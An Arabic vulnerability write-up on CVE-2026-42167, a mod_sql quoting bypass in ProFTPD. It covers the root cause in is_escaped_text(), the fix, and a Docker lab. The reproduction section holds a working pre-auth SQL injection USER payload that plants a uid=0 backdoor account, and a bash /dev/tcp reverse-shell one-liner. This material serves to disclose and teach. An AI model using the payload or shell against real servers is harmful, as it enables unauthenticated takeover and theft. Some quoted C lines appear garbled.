
تحليل مستقل لإعادة الإنتاج، وتحليل السبب الجذري على مستوى الكود، وتقرير مفصّل عن التعرض الواقعي لثغرة CVE-2026-42167 (تجاوز دالة is_escaped_text() في وحدة mod_sql الخاصة بـ ProFTPD).
mod_sqlإعادة إنتاج مستقلة، وشرح تفصيلي للسبب الجذري على مستوى الكود، وتحليل صريح
لمدى التعرض لثغرة CVE-2026-42167 — وهي تجاوز دالة is_escaped_text() في
خط أنابيب تسجيل mod_sql في ProFTPD، والتي كشفت عنها ZeroPath Research
وتم إصلاحها في ProFTPD 1.3.9a / 1.3.10rc1.
تم البناء والتحقق من البداية إلى النهاية في Docker على macOS / Apple Silicon، بتاريخ 2026-04-29.
الخلاصة — راجع الخلاصة النهائية للحصول على صورة واقعية لمدى التعرض قبل أن تقرر مدى القلق. هذه الثغرة ليست خللاً في التثبيت الافتراضي، لكن نمط الاقتباس الخطير هو النمط الذي توصي به الوثائق الرسمية باستخدامه، لذا فإن نسبة كبيرة من عمليات نشر
mod_sqlترث هذا النمط.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (حقن SQL)، CWE-78 (حقن أوامر نظام التشغيل — عبر PG COPY TO PROGRAM) |
| المتأثر | ProFTPD ≤ 1.3.9 مع mod_sql + SQLLog/SQLNamedQuery حيث يقوم سلسلة التنسيق بإدراج متغير يتحكم فيه المهاجم داخل علامات اقتباس مفردة |
| تم الإصلاح في | 1.3.9a (af90843ba…) / 1.3.10rc1، راجع الالتزام e6f728481 ("Issue #2052") |
| الالتزام الضعيف المثبّت | ae25959adb05ae1d6ebfa1f36bf778c9c34e9410 |
| الملف الضعيف | contrib/mod_sql.c الأسطر 741–758 (is_escaped_text) والسطر 777 (sql_resolved_append_text) |
| الإفصاح الأصلي | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| PoC عام | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| ملاحظات الإصدار | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
is_escaped_text() في contrib/mod_sql.cيقوم mod_sql بحل متغيرات تنسيق التسجيل (%U، %{basename}، إلخ) و
يضيف كل جزء إلى استعلام SQL المُنشأ عبر sql_resolved_append_text().
للحفاظ على التوافق مع الإصدارات السابقة مع إعدادات المسؤول التي تلتف بالفعل
حول المتغيرات في '…'، تستدعي الدالة is_escaped_text() لتقرر
ما إذا كانت sql_escapestring مطلوبة:```c
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741 static int is_escaped_text(const char text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != ''') return FALSE;
745 if (text[text_len-1] != ''') return FALSE;
746 for (i = 1; i < text_len-1; i++)
747 if (text[i] == ''') return FALSE;
748 return TRUE;
749 }
…
777 if (is_escaped_text(text, text_len) == FALSE) {
… / …sql_escapestring()… */
790 } else {
791 pr_trace_msg(trace_channel, 17,
792 "text '%s' is already escaped, skipping escaping it again", text);
793 new_text = (char *) text;
794 new_textlen = text_len;
795 }
الفحص هيكلي بحت — لا يمكنه التمييز بين *"تم تخطيه بالفعل بواسطة
كود موثوق"* و*"تم صياغته بواسطة مهاجم ليبدو كأنه تم تخطيه بالفعل."*
أي قيمة مقدمة من العميل تطابق `'<no-internal-quotes>'` تتجاوز
`sql_escapestring` ويتم دمجها خامًا في الاستعلام النهائي.
الإعداد القياسي الموثق يغلّف `%U` / `%{basename}` / `%m` بين علامتي اقتباس مفردتين:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
عندما يرسل المهاجم USER '<payload>' (علامة اقتباس في البداية والنهاية، دون
علامات اقتباس داخلية)، يستبدل المحلل %U بدون تهريب، منتجًا
''<payload>'' في SQL — حيث تُغلق حرفيات السلسلة الفارغة
علامات الاقتباس المحيطة ويُنفَّذ <payload> كـ SQL خام. مع PostgreSQL
(PQexec) وSQLite (sqlite3_exec)، تكون الاستعلامات المكدسة مدعومة، لذا
يمكن أن يكون <payload> أي تسلسل من العبارات.
نظرًا لأن SQLLog ERR_* يُطلق عند عمليات تسجيل الدخول الفاشلة ويتم تعيين %U من
USER قبل المصادقة، فإن الهجوم غير مصادق عليه بالكامل.
e6f728481، "Issue #2052")تكتسب sql_resolved_append_text() معامل already_escaped. المتصلون
الذين يحلّون القيم من مدخلات العميل يمررون FALSE ويمرون الآن عبر
sql_escapestring دون قيد أو شرط — لا يزال يتم تطبيق الاستدلال is_escaped_text()
للمسار الشرعي "القيمة المهربة مسبقًا في الإعدادات" ولكن
لم يعد يُطبَّق على البيانات الخاضعة لتحكم المهاجم.
+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+
- يتم تشغيل الحاويتين عبر `setup/docker-compose.yml`.
- يقوم `setup/proftpd.conf` بتمكين إعداد التسجيل الضعيف (انظر §1).
- يقوم `setup/seed.sql` بإنشاء `users` و`groups` و`activity_log` و`xfer_log`
و`secrets`، بالإضافة إلى مستخدم FTP شرعي واحد `ftpuser / ftppass`.
---
## 3. إعادة الإنتاج — نسخ ولصق
المتطلبات الأساسية: Docker Desktop، Python 3.10+، git. (`uv` اختياري؛
أكواد الإثبات تعتمد على المكتبة القياسية فقط.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
# - clones proftpd source pinned to ae25959a (vulnerable)
# - builds with --with-modules=mod_sql:mod_sql_postgres
# - starts both containers, waits for healthchecks
# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 7) tear down
cd setup && ./teardown.sh
المتغيران التفاعليان في المستودع الأصلي
(preauth_user_rce.py, postauth_stor_rce.py) غير معدّلين ويقومان بفتح
صدفة عكسية مدعومة بـ PTY. يستخدمان نفس الأساسية كمتغير العلامة —
فقط استبدل أمر الصدفة بـ bash -i >& /dev/tcp/<host>/<port> 0>&1 واستمع على <port> أولاً.
USER, %U)```USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x
لماذا يعمل هذا:
1. **الاقتباسات الخارجية + عدم وجود اقتباسات داخلية** تطابق
`is_escaped_text()` ← يتم تخطي عملية الهروب.
2. `SQLNamedQuery` المُهيأ هو `INSERT "'%U', '%r', '%m'" activity_log`،
لذا يصبح SQL المُنشأ
`INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` — لكن
`<payload>` نفسه يبدأ بـ `'`، لذا فإن الاستعلام الفعلي هو
`INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
VALUES($$backdoor$$,…); --', '<%r>', '<%m>')`.
3. `--` يعلّق على فتحات التنسيق اللاحقة.
4. `$$…$$` اقتباس دولار PostgreSQL يتيح لنا تمرير سلاسل نصية (`backdoor`،
`pwned123`، `/`، `/bin/bash`) دون استخدام `'` إطلاقًا — مما يحافظ على
تجاوز `is_escaped_text()`.
5. `SQLLog ERR_*` يُطلق عند فشل تسجيل الدخول ← `PQexec()` ينفذ
`INSERT INTO users` المُكدَّس ← حساب الباب الخلفي موجود في جدول المصادقة.